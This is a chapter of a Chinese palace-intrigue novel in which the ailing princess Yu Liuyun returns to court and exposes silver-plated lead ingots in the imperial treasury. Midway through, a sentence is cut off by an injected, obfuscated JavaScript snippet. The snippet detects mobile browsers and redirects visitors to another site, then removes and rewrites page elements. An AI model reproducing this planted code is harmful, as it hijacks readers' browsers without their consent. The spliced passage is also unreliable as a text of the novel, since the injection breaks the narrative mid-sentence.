玉旒云道:“的确应该派户部官员主持买粮赈灾,工部官员主持修筑河工。不过,既然派军队前去挖渠,恐怕户部、工部官员不熟悉将士,指挥起来会有困难。” “又不是打仗。”悦敏道,“一时有些不顺手,也出不了大问题。” “几万将士在外一天就要消耗一天的粮食。”玉旒云道,“事半功倍还是事倍功半,关系到朝廷的花销——永泽公、廉郡王,你们两个不是老说我自从插手户部就成了守财奴吝啬鬼么?我现在就跟你们说银两。如果士卒在外没有熟悉他们的人指挥,每一天不知要多花多少银两呢!” “那内亲王的意思是还非你去不可?”悦敏咄咄逼人,“你是说,除了你以为谁也指挥不动那些士兵?” 玉旒云一凛:这话已然带有指责她拥兵自重的意思,她决不能接口承认。否则,就算庆澜帝不计较,赵王也会借题发挥显起一场轩然大波。到时先把她以谋逆之罪给治了,接着直接在京城策动兵变——根本就不用麻烦北方的军队。她咬着嘴唇不做声。 “谁说除了她就没人指挥得动的?”刘子飞突然发话了,“这些是东征的兵队,我是东征的主帅——既然要找一个能够指挥得动这些士卒的,不如就找我吧?”他说着就向庆澜帝拜倒:“臣刘子飞愿率领将士去甘州赈灾挖河,请万岁恩准。” 他?玉旒云不禁倒退一步:郭罡!一定是郭罡!说什么要等她来决断,其实还是在逼迫她!根本从头到尾就是在操纵她!到底有何居心?气血一时上涌,眼前便一模糊。她心下一骇,赶忙凝神静气。 “刘将军愿意去,倒不失为一个两全其美的好主意啊!”悦敏道,“内亲王,你看呢?你们曾经在东海三省并肩作战——对了,其实去年大青河战役后你回京期间也是他在瑞津统领军队,想来他和你的部下很熟悉了,一定能够‘事半功倍’。” 玉旒云无法反驳,一方面是没有合适的话,另一方面也怕自己当众倒下,那样恐怕朝中原本骑墙的人也都要投向赵王一边。于是她只能静静地站着。 “其实,内亲王她早就卸下将军之职了嘛。”司徒蒙又来和稀泥,“所谓内外有别,带兵的事,我也觉得是刘将军前去比较合适。” 他一开口,仿佛是早约好了,许多一品大员都出言赞同。唯独潘硕因为隐隐有山雨欲来之感,皱着眉头看向玉旒云,希望她能给自己一些提示。此外户部的官员们被玉旒云折腾苦了,巴不得她赶紧离京,都说:“其实内亲王去也不错。既然她想去,就做钦差大臣,和刘将军一起去好了。” 怎么办?庆澜帝望着玉旒云:爱卿,你给句话呀! 玉旒云只是站在那里,希望眩晕的感觉快快离去,好让她和悦敏和赵王——和郭罡继续斗下去。可是,事与愿违,无论她怎样调整呼吸,心跳还是越来越快,胸口也越来越闷。感觉力量抽离自己的身体,耳边很吵,眼前很模糊。终于,一切都不受她的控制了,她也不知道自己朝哪个方向倒了下去。仿佛听见石梦泉叫了自己一声,然后就什么也不知道了。 如此一来,终于瞒不住玉朝雾。玉旒云被直接送到了凤藻宫,林枢赶了来,跟着整个太医院都赶了来,原本一团喜气的皇宫顷刻被窃窃的议论和浓重的药味染上了焦虑的色彩。 玉旒云到底是什么病,御医们各执己见,争执不下。玉朝雾虽然信任林枢,但是因知道林枢前一日已经给玉旒云看过病,却并没有告诉自己,心中难免有些埋怨。看到热锅上蚂蚁似的庆澜帝,更听说他也晓得玉旒云前日病倒之事,连尊卑也顾不上了,道:“皇上,你明知道云儿从小身体就不好,还让她这么操劳……臣妾就这一个妹妹,若有什么三长两短,叫臣妾将来可怎么办?” 庆澜帝原地直打转:“皇后你别说了。玉爱卿不会有‘三长两短’,否则朕都不知道将来怎么办了!” 商量的,劝慰的,传递消息的,凤藻宫里虽然每一个人都尽可能压低声音,但是重叠在一起就嗡嗡地震得人头疼。昏迷不醒的玉旒云虽然听不清大家在说什么,但是觉得这些声音就如同千万只虫子一样,咬得自己浑身又疼又烫。想要挣扎,身体却像浸饱了水的棉花,重而无力。原来一切都无法控制,她起了一个绝望的念头,无论是外面的世界,还是自己的身体。似乎回到了靖杨漆黑的夜,洪水把她卷走了。 也不晓得过了多久才悠悠地醒了过来,看到玉朝雾歪在床头盹着,几个宫女或者守着药炉或者濯着手巾,也都呵欠连天直打磕睡,望望窗户纸白亮一片,似乎还是当日宫中欢宴的那个时辰,然而玉旒云心里清楚,她肯定已经睡了很长时间了。 她试着动了动胳膊,已经不似先前那样困难,就支撑着坐了起来。如此便把玉朝雾惊醒了:“云儿,你要什么?姐姐帮你拿。” 玉旒云摇摇头:“姐姐,今天是八月几日了?” “今天是二十三,明天就是太祖诞辰节。”玉朝雾招呼那几个满脸倦容的宫女赶快把参汤端来,一壁又对妹妹道:“你可真是把我和皇上都吓坏了,这几天来,皇上天天来看你,见你一直不醒,就一直是六神无主地样子……” “八月二十三?”玉旒云不待她说完就要翻身下床,“皇上在哪里?我要见皇上——永泽公呢?甘州赈灾的事如何了?” “你病成这样还理会那些?”玉朝雾不知道这都关乎生死,“皇上在准备明天祭祀的事宜,永泽公两天前就离京了。刘子飞将军也已经率领人马前去甘州赈灾。朝廷没了你,天不会塌下来。” “你……”几乎就要对自己最亲的姐姐咆哮“你懂什么”,然而知道现在一切都已经晚了,发怒也没有用,须得尽快找出应对的办法。她便挣扎着要下床。 玉朝雾死命拖住:“你这孩子,为什么越来越不懂事?平平凡凡地像其他女孩子一样过日子,不是很好么?你何苦要这样委屈自己?无论你吃多少苦,过去的事都不能改变。你还有将来呢——姐姐图什么?不就是图你好好儿地嫁人生子,平安到老……” “你不要说了!”玉旒云躺了几天已恢复了力气,推开姐姐径自下床,“我一定要见皇上。” 玉朝雾的眼泪滚了下来,跪在地上抱住妹妹的腿:“求你就听姐姐的话吧!”。几个宫女也都一个跟一个跪在玉旒云脚边:“王爷请体恤皇后娘娘。请保重身体。” 玉旒云咬牙不看姐姐的泪眼,想要趁着自己身体状况尚好赶去见庆澜帝说明如今的情势,因不管任何人阻拦随手抓了件斗篷披上,就要出门去。而偏偏这时候,林枢却走了进来。 “王爷!”他身怀武功,一个箭步挡住了玉旒云的去路。玉旒云待伸手要推开他,却被他一把拿住脉门:“下官费了九牛二虎之力把王爷从鬼门关拉回来,王爷难道又想自己走回去么?” “你放开我!”玉旒云怒道,“你小小一个太医竟然敢以下犯上,信不信我要了你的脑袋?” 林枢不卑不亢:“只要王爷一刻未砍下官的脑袋,下官就是王爷的主治大夫,而王爷就是下官的病人。病人要听大夫的话,这是天经地义的事。” 玉旒云被拿住脉门,反抗不得。林枢稍一用力,她就身不由己地回到了床边。知道硬闯行不通,她只能另想其他的办法,便冷笑道:“谁说病人听大夫的话是天经地义?命是我的,我偏不想活了,你奈我何?”正好一个宫女捧着参汤过来,她就劈手打翻了:“你要施针,我自然阻止不了你,不过,以后你开的药我不会再喝,就是饭菜、茶水我也决不再沾。今天不让我去见皇上,我就死给你们看看!” 林枢也万没想到玉旒云会用这种“无赖”伎俩,愣了愣,对旁边已经哭成了泪人儿的玉朝雾道:“娘娘,不如就让臣陪王爷去见万岁一面,偿了她的心愿,也好将来安心养病?” 玉朝雾能有什么主见?玉旒云则是一听林枢口风松动,立刻吩咐宫女:“还不拿我的朝服来?备辇!” 没多大功夫她就穿戴停当,四个太监抬着,由林枢陪同去乾清宫见面庆澜帝。林枢给了参片让她含着,却被她拒绝——想起石梦泉说过,当日在瑞津林枢曾经用药施针把他困在床上养病,这时生死一线的关头,可不能着了道儿。于是,只坐在步辇上闭目养神,到了乾清宫,也不要人扶,就自己走了进去。 庆澜帝本歪在遢上午睡,听太监报说玉旒云来了,连衣冠也来不及整理,就亲自迎了出来:“爱卿!你现在如何了?可担心死朕了!” 玉旒云勉强一笑:“万岁放心,臣还死不了——臣还有许多事情没有帮万岁做完呢!” 听她这样说,庆澜帝非但不能放心,反而更加忧虑了——这简直就像“人之将死”的言论!他因看了看林枢。然而玉旒云根本不给机会这大夫做老生常谈,对庆澜帝道:“万岁,不如我们里面说话?臣有要事必须和万岁商量。” 晓得必然事关赵王,庆澜帝便顾不得询问病情:“好——”他吩咐太监:“你们在外守着,谁也不许进来。” 到殿中就给玉旒云赐了座,又解释自她在宴会上病倒之后,宫中重重压力袭来,庆澜帝不得不按照悦敏的提议处理了赈灾和北上劳军之事。最糟糕的是,玉旒云昏迷数日,满朝都传言她病入膏肓药石无灵,所以户部那边迅速提出暂时停止票业司的运作,而议政处也立刻奏请让滕王的小儿子取代玉旒云的位置,侍卫府那边本来还继续按照玉旒云所定的规矩巡逻,但议政处横插一脚,以领侍卫内大臣不宜空缺为名,强行恢复由内务府总管兼任领侍卫之职——何广田一掌握大权,立刻废除玉旒云的轮班制度。“还好有爱卿之前挑选的那些不参加轮班的勇士保护朕。”庆澜帝道,“要不然,朕连觉都不敢睡了!” 玉旒云心中埋怨庆澜帝懦弱无能,但是明白现在不是纠缠这些无用情绪的时候。“臣还没有死呢!”她道,“臣现在的样子,像是就要死了吗?” 庆澜帝看她面色苍白得吓人,怎么不像就要死的样子?但是口里依然道:“爱卿的气色比前些天好多了。” 玉旒云冷冷一笑:“正好,他们都以为臣要死了,就一齐胡作非为起来,正是收拾他们的好时机。” “怎么?”庆澜帝有了一丝希望,“爱卿你还能扭转乾坤?” “皇上你还好好儿的在龙椅上坐着,”玉旒云道,“乾坤并没有颠倒,如何需要扭转?请万岁即刻下旨,让何广田交还禁军和护军的领军之权给臣。” “朕下旨还不是一句话?”庆澜帝道,“不过爱卿的身体,当真……” “皇上放心。”玉旒云道,“臣知道那些有心人一定会拿臣的身体来做文章。他们都把臣当病猫了,臣就发一发威给他们看。”说这话的时候,眼里射出两道冷光,让人立刻就想到珍禽苑里那只凶猛的狮子。 “爱卿要……怎么发威?”庆澜帝问。 “很简单,”玉旒云道,“就从户部开始。” 林枢只答应陪玉旒云来见庆澜帝一面。然而他也早猜到,玉旒云既然能用那无赖伎俩要挟他一次,也就还能要挟他第二次、第三次。离开了乾清宫,他就跟着玉旒云去侍卫府,看她凭着庆澜帝的手谕夺回了禁军和护军的统领之权。接着,玉旒云又要他跟自己上户部银库去。林枢忍不住提醒:“王爷霸着权势有何用?没命消受还不等于空?” 玉旒云充耳不闻:“要不你就继续跟着我,以防我半途死了他们要你的脑袋。要不,你就太医院去,省得我看见心烦!” 当着宫中这么多人的面,林枢也不能用强,只有跟着玉旒云来到了户部。 户部尚书陈清远正在银库中视察。银库规矩,为了防止夹带,所有库丁入库工作时只穿遮羞短裤。而这日他竟然发现有人在短裤中藏了银锭,正大发雷霆要交刑部法办,就听守库的兵丁道:“王爷——王爷,您不能进去,银库重地,没有圣旨闲杂人等不能进去……” “谁说我没有圣旨了?”玉旒云脚步不停,“才几天,你就不认识我这个钦差了么?” 陈清远知道是瘟神到了,丢开那几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728663|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库丁迎出来:“王爷身体可大好了么?” “陈大人看呢?”玉旒云冷笑,“本王大好了,你是不是很失望?万岁手谕在此!”她摇了摇手中的圣旨:“他老人家特别重申,我依然是坐镇户部的钦差!” 见到圣旨,以陈清远为首,自然稀里哗啦跪倒一片。 “好嘛。”玉旒云叫大家都起身,“我方才在外头就听见陈大人的声音了,是在捉贼么?贼呢?” 兵丁赶忙把犯事的库丁押上前来,又呈上赃物:“这几个人不知死活,请王爷发落。” 玉旒云一看那银锭,如何不是从南方七郡送来的那批?虽然掂在手里沉甸甸的,并不像是当初晋二娘给她看的那锭比二十两还轻的二四宝,但是恐怕造假的时候也有出入,她相信无论如何这批银子都是有猫腻的。当即冷哼了一声:“好得很,我也是来抓贼的——你们是从哪里偷出这些银锭的?” 库丁看到这个苍白如鬼的人,早就吓得魂飞魄散,有的瘫在地上连发抖的力气都无,还有的则勉强抬起手来,指了指库房一隅道:“那……那边……” “还不过去?”玉旒云命令守库的兵丁,“把南方七郡运来的所有银锭统统给我搬出来!” 兵丁都怔怔,望望陈清远。后者连月来已经受够了玉旒云在户部懿气指使,微微发抖,道:“王爷,这些银两当日王爷和永泽公一起查验过,又是永泽公亲自清点入库的。为什么又要搬出来?” “是永泽公亲自清点?”玉旒云牵起嘴角,冷笑道,“好嘛,那就是出了差错也和陈大人你没关系了?你何必担心——来,给我搬!” 她身为内亲王又手持圣旨,谁敢有异议?兵丁们依命行事,将银两一箱一箱地抬出来放在玉旒云的面前。二百五十万两并不是小数目,没多大功夫就已经把走道都堵死了,还未搬到一半。陈清远看玉旒云一言不发冷眼观望,实在不知道她究竟要搞什么鬼。然而又注意她苍白的双颊骤然起了潮红,呼吸浅促,仿佛又要犯病了,心中就想:也好,让她闹,一时晕倒了,就不必麻烦了! 林枢也发现玉旒云脸色有变,凑上去轻声道:“王爷不要勉强,还是含上参片吧!” 玉旒云并不理会,依旧死死地盯着堆积起来的银箱。直到确信自己无法再抵抗眩晕了,才在一个银箱上坐下,道:“好,就搬这么多——现在都给我开封!” “户部银箱封条如果没有圣旨……”陈清远才说了一句,就被打断:“我是全权钦差,叫你开就开——今天是哪个郎中负责验银子成色的?为我叫来!” 陈清远忍着气,让手下去叫验银郎中。待那人来了,玉旒云便道:“你给我看一看这些银锭都是何成色。” “这些都是十足成纹。”那郎中道,“各地交上来税金银子都要铸造成这种银锭,是九四银……” “你倒厉害?看看就知道?”玉旒云将先前被库丁偷藏的银锭抛了过去,“你掂量掂量,这是九四银么?” 那郎中一双小眼睛浑浊不堪,盯着银子看了半晌,又拿手掂量着:“下面还有南方七郡总督衙门的官印呢——凡是地方税收就要重铸官宝。官宝都是十足成纹,也就是九四银……” “我叫你告诉我这实际有多少,不是应该有多少!”玉旒云斥道,“你是负责验成色的郎中,难道掂量不出来?” “就下官掂量,应该是九四银无疑。”郎中道,“不过,差之毫厘也是不稀奇。那些小差别要公估局的人才能称验得出来。” 怎么会这样?玉旒云又从银箱中抓了一锭银子掷了过去:“那么这一块呢?也是九四银么?” “是。”郎中回答。 “这一块呢?”玉旒云又接连丢了两三锭元宝,每一次,郎中的回答都是一样。玉旒云心中升起了斗大的疑问:莫非这二百五十万两都是真的?决不可能!是了,当初自己拿到晋二娘的假元宝也没有立即辨认出来,须得和真元宝比较才能显出差别!于是她吩咐道:“之前追查亏空追回来的银子呢?开一箱来,看看到底有什么不同!” “这……”银库的士兵都不动,转头看着陈清远。 “怎么?”玉旒云也盯着陈清远,“不是又要跟我说什么没有圣旨就如何如何?圣旨不就在这里?” “是。”陈清远道,“圣旨是在王爷手上,但是那些银子并不在银库中。” “什么?”玉旒云倏地站了起来,因为动作过猛,摇晃着几乎摔倒。她指着四壁的银箱,道:“那这些箱子里是什么?当时追查亏空又兴办票业,我亲自点算银两就锁在这些箱子里,怎么会不在银库中?” “的确不在。”陈清远道,“这些银箱都是空的。” “什么?”玉旒云本来潮红的面色一刹那又变得煞白,“二十多万两银子,到哪里去了?” “是永泽公带去北方发放军饷了。”陈清远回答,“已经有了这南方七郡的二百五十万两现银,国库充实,就没必要拖欠北方兵士的粮饷。永泽公既然要北上,就顺便带去。现在库中是二百一十万两来自南方七郡的白银,另外的四十万两已经由刘将军带去甘州,准备沿途收购粮食,并且支付民夫工钱。” 这就是说悦敏提走了国库中所有的真银子,现在只留下不知实价几何的假银子?玉旒云只觉得两腿发虚,几乎跌坐下去,顺手抓住了林枢的胳膊才保持平衡。 “王爷一进银库就要查验银子的成色,莫非王爷觉得这些南方七郡的银两有问题么?”陈清远冷冷的,唯恐玉旒云病发得不够快,非要激他一激,“王爷凭什么怀疑南方七郡的官宝?我们这么多双眼睛看过,孟郎中又按照你的要求掂量过,都没有看出有何不妥!王爷到底要如何?” 玉旒云皱眉思考,没有立即回答。 “如果王爷一定觉得有问题,就找公估局的人来查个清楚好了。”陈清远道,“虽然下官不明白王爷究竟为何如此执着,不过……” “好!就请公估局的人来!”玉旒云一挥手,“还有,把西京票业会馆十二大财东以及鼎兴银号的晋二娘统统给我请来,本王今天不把这些银子查清楚,就不离开——你们也一样,谁都不许离开银库!” 陈清远真恨不得跳起来骂她过分,不过强忍住了,暗想:就和你耗着,看你什么时候倒下去!便吩咐兵丁们按照玉旒云的吩咐去做,自己袖着两手只管注意玉旒云脸色的变化。 只不过,让他失望的是,过了大半个时辰,公估局的官员和十二票号的财东都来了,玉旒云还依然支撑着。“王爷要等那位鼎兴银号的财东么?”陈清远问,“还是现在就开始查验?” “验。”玉旒云道,“边验边等。” 听她一声令下,众人就纷纷拿出小秤,又有的叫端来水盆,还有的拿出外藩的放大镜来各显神通地检验银锭。公估局有两个官员于是分配到两箱银子,其他的十二大财东无论有否带助手各得一箱。大家边验边记,总也过了半个时辰才陆续结束,将结果一齐汇报到玉旒云处。 每一箱官宝共是一百枚,公估局的两箱中大部分是九四银,也有九三银和九二银。十二财东的出的结论相似,只有隆泰票号的莫学仁检验到有两只元宝不足五成银——也就是玉旒云曾经见过的那一种。 “二百五十万两不是小数目。”陈清远道,“况且又是仓促之间凑起来的,铸造之时有人浑水摸鱼,很难察觉。不过王爷也看到了,大部分银锭都是足色——当然,下官会让公估局继续查下去,看看还有没有漏网之鱼。不过,王爷要亲自在这里看着么?您的身体……” 玉旒云怎么也想不通:怎么可能大部分都是九四银?二百五十万两,就算是抢,也抢不来这么多银子。难道是刚巧开了几箱真的?她正想命令继续查下去,却听一个士兵报道:“鼎兴银号的晋二娘带到。” 精神立刻为之一振。 晋二娘一个跟班也没带,到了跟前就给众人一一道万福:“小妇人来迟啦。小妇人活了这么大岁数都没跨过这么高的门槛儿。王爷找小妇人来有何吩咐?” 十二大财东都不晓得玉旒云从前在醉花阴故意赶走晋二娘是另有用意的,他们都打从心眼儿里看不起这个姿色平庸的梁家二姨太,面上全露出鄙夷之色。莫学仁悄悄和身边的人道:“她来的这么迟,说不定是在家里梳妆打扮,你看她,一辈子没进过户部呢,恨不得把所有的簪子全都插在头上。”几个财东瞟一眼:果然不假。晋二娘何止“满头珠翠”,是插都插不下了,才以低头,簪子就掉了下来。她连忙抱歉又俯身去拾,财东们不禁都偷偷笑了起来。 只是没有人看到,就在晋二娘拾起簪子的一瞬间,她将一个锦囊悄悄塞到了玉旒云的手里。 玉旒云暗暗一惊,然而却不能当众打开来看,只有正色道:“本王叫你来是让你验一验这些银子的成色——你要什么工具只管说。其他几位财东和公估局的大人已经验过了。不过你不用管他们的结果,随便挑一箱去验,之后告诉我结论就行。” “是。”晋二娘又福了一福,走到打开的银箱前,正挑了莫学仁验过的那一批。她先摸到的两枚都是不足五成银的假官宝,因此轻轻一笑就抛开一边。但接下来就拿到九四银了,掂掂分量,又看看外表,不禁“咦”了一声,再拿第三枚,眉头就拧成了川字,第四、第五枚过手,她眉头皱得简直可以夹死苍蝇。莫学仁等嘿嘿偷笑。玉旒云则是焦急万分:难道她也鉴定出这些银量是真的? “这位夫人,究竟鉴定得如何?”陈清远的忍耐已经快要到极限了——玉旒云分明就没有把他这个户部尚书放在眼里。 “唔……”晋二娘摸着下巴。她很快就把一百枚银锭检验过了一回,接着又细细看了第二回,浸过水盆,也用过放大镜,亦小心地用秤秤过,似乎还是没有发现破绽。玉旒云看她的表情越来越严肃,心情也就越来越紧张:怎样?到底是怎样啊? “王爷!”晋二娘忽然道,“小妇人想要借剪银角子的钳子。” “混账!”陈清远刚想说国库中的官宝不能胡乱切割,玉旒云却已经道:“给她拿来。”旁人不敢违背,立刻照办。 晋二娘就拿起一只足色九四官宝夹在钳子的刃口上,用力一剪。只听“咔”的一声,利刃切入元宝中,接着就卡住了,无论晋二娘怎么用力都剪不动。莫学仁摇摇头,仿佛是笑话晋二娘无用,自己上前帮忙,然而也是连吃奶的力气都使出来了,依旧无法将元宝切开。“奇怪了!”他嘟囔道,“岂有如此坚硬的银锭?” “当然没有这么坚硬的银锭了。”晋二娘夺过了钳子来,松开了,把切开外面一圈的元宝递到了玉旒云的跟前:“王爷,这根本就不是银锭,这里面应该是铅块。” 虽然知道国库被人偷空只剩假银子,玉旒云还是克制不住高兴了起来:“果真?”她细看那枚官宝,切开的银色表面下可不是漆黑的铅块么!铅比银重,只要随便把铅铁铜之类的和铸成元宝状,算好重量,外面再镀上一层银,普通鉴别者光看大小和重量怎么能分辨真伪?除非到公估局去熔化重铸,或者这样切开,否则不就瞒天过海了么? 十二大财东全都目瞪口呆。陈清远也惊得呆立当场——不过只是片刻,他立即从晋二娘手中把钳子抢过去,又拿一枚官宝来剪,依然是碰到了铅块。“怎么会这样?怎么会这样?”他像发了疯似的,一枚接一枚地剪过去,除了那两只五成银的假官宝中间似乎是铁芯以外,统统都是铅块镀银。陈清远又吃惊又着急,忙得满头大汗,终于颓然坐倒:“王爷……怎么……怎么会这样?” “这还想不通么?”玉旒云道,“南方七郡总督弄虚作假,罪不容诛。你们嘛……”她的目光扫过银库每一位官员和兵丁的脸,众人全都哆嗦着跪了下去。“你们不要惊慌。”她道,“贼人手段如此高明,本王不是也差一点儿没有查出来?所以不是你们的责任。” “多谢王爷明察秋毫。”众人一起磕头。 “这事关重大。”玉旒云道,“本王会立即向万岁汇报,一方面追究南方七郡总督黎右均欺君之罪,一方面立刻通知刘子飞将军不得将假银用于购粮。此外……”她顿了顿:“今日这里发生的一切,诸位都是人证。本王会留一箱假官宝作为物证。其余的假官宝立刻送到公估局销毁重铸,看看可以补救回多少银两来。” “是,是。”陈清远等人唯唯连声。 “还有各位财东。”玉旒云看看莫学仁等人,“今日多承各位帮助。日后你们凡是见到有人使用南方七郡官宝的,要详加检验,一经发现使用假元宝的,立即报告顺天府。” “遵命。”莫学仁等答应着,心里都已经在想:这两天铺子里收没收过南方七郡官宝?可别亏本! 玉旒云吩咐了一圈,本来还想,要不要让他们暂时别把这事宣扬出去?但转念一想:赵王耳目众多,还能瞒得住他?况且悦敏串通南方七郡总督造假,这消息最好能有多远传多远,风波有多大闹多大,非逼反了他才好!因此就不再多交待,自站起了身来,走出银库去。